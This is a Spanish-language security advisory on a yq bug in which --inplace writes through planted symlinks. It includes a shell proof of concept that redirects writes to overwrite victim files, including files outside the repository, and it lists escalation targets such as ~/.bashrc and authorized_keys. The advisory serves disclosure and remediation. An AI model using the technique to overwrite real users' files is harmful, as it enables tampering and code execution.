--inplace sigue symlinks al actualizar
GHSA-c3cc-5w96-mw9r · Asignación de CVE pendiente
Resumen
Al escribir con -i / --inplace, yq resuelve y sigue los symlinks en lugar de reemplazarlos. Un symlink plantado en el árbol que se procesa (p. ej. en un PR, un repo de configs compartido o un proyecto descargado) redirige la escritura in-place a cualquier archivo alcanzable por el usuario de yq — el archivo víctima es sobrescrito con el documento procesado controlado por el atacante. Esto diverge del estándar del ecosistema (sed -i reemplaza el symlink), no tiene opt-out y no está documentado en ninguna parte.
Impacto
- Clobber vía symlink plantado — sobrescritura de archivos del operador con contenido controlado por el atacante en cualquier ruta alcanzable por el usuario de yq.
- Vector de ataque: local — un symlink
.yml/.yamlmalicioso dentro de un repo o árbol de configs procesado; no se cruza ningún límite de privilegios (la escritura corre con los propios privilegios del usuario de yq, pero la elección del archivo y el contenido los controla el atacante). - Escalación: sobrescribir dotfiles, scripts o definiciones de workflows (
~/.bashrc,~/.ssh/authorized_keys,.github/workflows/*.yml, crontab) lleva a ejecución de código en la siguiente corrida; archivos críticos también pueden ser corrompidos.
Causa Raíz
pkg/yqlib/file_utils.go:10-17 (tryRenameFile): la rama del symlink es intencional — al escribir in-place, yq resuelve y sigue el symlink, escribiendo el contenido procesado a través de él. No hay flag opt-out, ni advertencia en la ayuda del flag, ni documentación del riesgo.
// pkg/yqlib/file_utils.go:10-17 — tryRenameFile
// Rama de symlink: yq sigue el enlace en lugar de reemplazarlo
// (sed -i reemplaza el symlink; yq escribe a través de él)
Divergencia de comportamiento: sed -i reemplaza el symlink con un archivo regular nuevo (rompiendo el enlace, protegiendo el archivo víctima); sponge y ex siguen symlinks como yq — pero el comportamiento de esas herramientas es conocido y documentado, mientras que yq ni documenta ni protege su decisión. El advisory también lista CWE-22 y CWE-73 (control externo del nombre o ruta de archivo) como debilidades relacionadas.
Prueba de Concepto
Probado contra yq v4.54.1 (commit 504fc38780cc46be8444ea1b72fb55919fc0bfb0), binario compilado desde el código etiquetado. 3 capturas adjuntas al advisory.
# Clobber a través de un symlink (directorio de trabajo /tmp/yq-vn044/)
$ ls -la
[lrwxrwxrwx link.yml -> victim.txt
-rw-rw-r-- victim.txt]
$ cat victim.txt
[app: production
key: SECRET_VALUE]
$ ./yq -i '.key = "PWNED_BY_YQ"' link.yml
[exit 0]
$ ls -la
[lrwxrwxrwx link.yml -> victim.txt] ← SYMLINK SIGUE SIENDO SYMLINK (yq lo siguió)
$ cat victim.txt
[app: production
key: PWNED_BY_YQ] ← ARCHIVO REAL SOBRESCRITO A TRAVÉS DEL SYMLINK
# Variante: symlink plantado apuntando fuera del árbol procesado
$ ln -s ../outside2/important.yml repo/ci-config.yml
$ ./yq -i '.db_password = "PWNED"' repo/ci-config.yml
[exit 0]
$ cat outside2/important.yml
[db_password: PWNED] ← SOBRESCRITO FUERA DEL ÁRBOL DEL REPO
# Contraste con sed -i (estándar del ecosistema: reemplazar, no seguir)
$ sed -i 's/SECRET_VALUE/PWNED_BY_SED/' link2.yml
$ ls -la link2.yml victim2.txt
[-rw-rw-r-- link2.yml] ← SYMLINK DESTRUIDO, REEMPLAZADO POR ARCHIVO REGULAR
$ cat victim2.txt
[app: production
key: SECRET_VALUE] ← VÍCTIMA INTACTA
Cronología de Divulgación
| Fecha | Evento |
|---|---|
| 2026-10-23 | Reportado como Issue B del advisory combinado GHSA-c3cc-5w96-mw9r (junto al issue de --split-exp); aceptado por el mantenedor el mismo día |
| 2026-11-05 | Issue A movido al advisory independiente GHSA-9fvq-9qj8-6qhx; este advisory quedó limitado a --inplace |
| 2026-11-09 | Advisory publicado; corrección lanzada en yq v4.54.3 |
| Pendiente | Asignación de CVE (solicitud debida ahora que existe corrección pública) |
Corrección
yq v4.54.3 reemplaza los symlinks en lugar de escribir a través de ellos:
- Fixed `--inplace` to reject direct updates to read-only files and replace
symbolic links instead of modifying their targets. (#2973)
El advisory también sugiere un diseño seguro por defecto (reemplazar symlinks como hace sed -i) o un flag opt-in explícito --preserve-symlinks con advertencia en la ayuda y la documentación. Mitigación en versiones vulnerables: no ejecutar yq -i sobre árboles que contengan symlinks no confiables (procesar una copia, o pre-resolver/eliminar los symlinks).
Corregido en yq v4.54.3 (2026-11-09). Advisory publicado 2026-11-09; asignación de CVE pendiente.